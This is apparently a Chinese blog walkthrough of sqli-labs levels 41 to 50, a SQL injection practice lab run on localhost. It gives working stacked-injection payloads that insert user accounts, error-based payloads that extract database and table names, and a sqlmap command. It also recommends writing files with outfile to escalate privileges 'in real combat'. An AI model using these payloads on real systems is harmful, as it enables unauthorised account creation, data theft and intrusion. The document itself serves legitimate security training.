四十一关
(考察点:数字型、堆叠注入)
直接往数据库中插入一个 guanjian 账户:
?id=-1;insert into users(id,username,password) values(15,'guanjian','guanjian') --+可以看见页面虽然报错,但是数据已经成功插入数据库中了。
四十二关
(考察点:POST字符型、堆叠注入)
分析这一关源码我们知道注入点在 password 中:
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];我们直接输入账户:a 随意账户
密码:a';insert into users(id,username,password) values(16,'Less42','Less42') #
页面虽然报错,但是查看mysql数据库。我们的账号Less42已经插入成功!!!
四十三关
(考察点:POST字符型(单引号+括号)、堆叠注入)
这里我们不看源码简单判断下:
账户:a' 密码:a 页面跳转到禁止黑客入侵页面
账户:a 密码:a' 页面跳转并且报了错,可以推出注入点在password中
根据报错可以猜测password参数的接受方式为 id = ('&id')
使用堆叠注入插入账户Less43:
账户:a
密码:a');insert into users(id,username,password) values(17,'Less43','Less43') #
页面虽然报错,但是查看mysql数据库。我们的账号Less43已经插入成功!!!
四十四关
(考察点:POST字符型(单引号)、堆叠注入、盲注)
这一关和四十三关类似,区别在于这一关没有报错信息,属于盲注。
直接插入数据:a';insert into users(id,username,password) values(18,'Less44','Less44') #
页面虽然报错,但是查看mysql数据库。我们的账号Less44已经插入成功!!!
四十五关
(考察点:POST字符型(单引号+括号)、堆叠注入、盲注)
这一关和四十四关基本相同,区别在于参数的接受方式不同!
直接插入数据:a');insert into users(id,username,password) values(19,'Less45','Less45') #
页面虽然报错,但是查看mysql数据库。我们的账号Less45已经插入成功!!!
使用账号:Less45 密码:Less45 登录成功!
四十六关
又是新的一关,和往常一样输入参数 ?id=1 。卧槽!怎么行不通了:
对报错信息翻译一下,我们能获取到这一关的信息有:参数从id改为sort了;和排序有关;
我们来看一下这一关源码:
改个参数提交,页面正常!开始测试注入:
当sort=1时,页面以id排序:
当sort=2时,页面以password首字母排序:
结果很明显了,sort和排序有关。摸索一段时间过后,发现联合注入行不通:
这一关可以使用报错注入:
爆个数据库名:?sort=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
爆个表试试:?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)
四十七关
这一关和四十六关类似,区别在于这一关是单引号接受参数。直接使用上一关的代码修改:
?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
四十八关
这一关通过简单的测试发现,页面是没有回显内容的。只能使用延时注入了。
而且这一关延时注入和之前的管卡一样,只不过换了个参数。我们可以手工判断,但是我选择sqlmap一把梭!嘻嘻嘻
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-48/index.php?sort=1 --dbs
四十九关
这一关和四十八关一样,只是参数的接受方式不同,这一关为单引号,一样可以使用sqlmap梭哈!不再重复。
注意:这关也可以outfile进行写,实战中优先写入文件直接提权。
五十关
这关可以使用报错注入、堆叠注入。
堆叠注入:?sort=1;insert into users(username,password) values('Less50', 'Less50') --+
报错注入:?sort=1 and extractvalue(1,concat('~',database()))
总结:
从这十关学到了
(1)不同参数接受方式的堆叠注入;
(2)有无回显的堆叠注入,页面虽然报错,但是不影响我们成功插入数据;
(3)报错注入&工具sqlmap(永远滴神);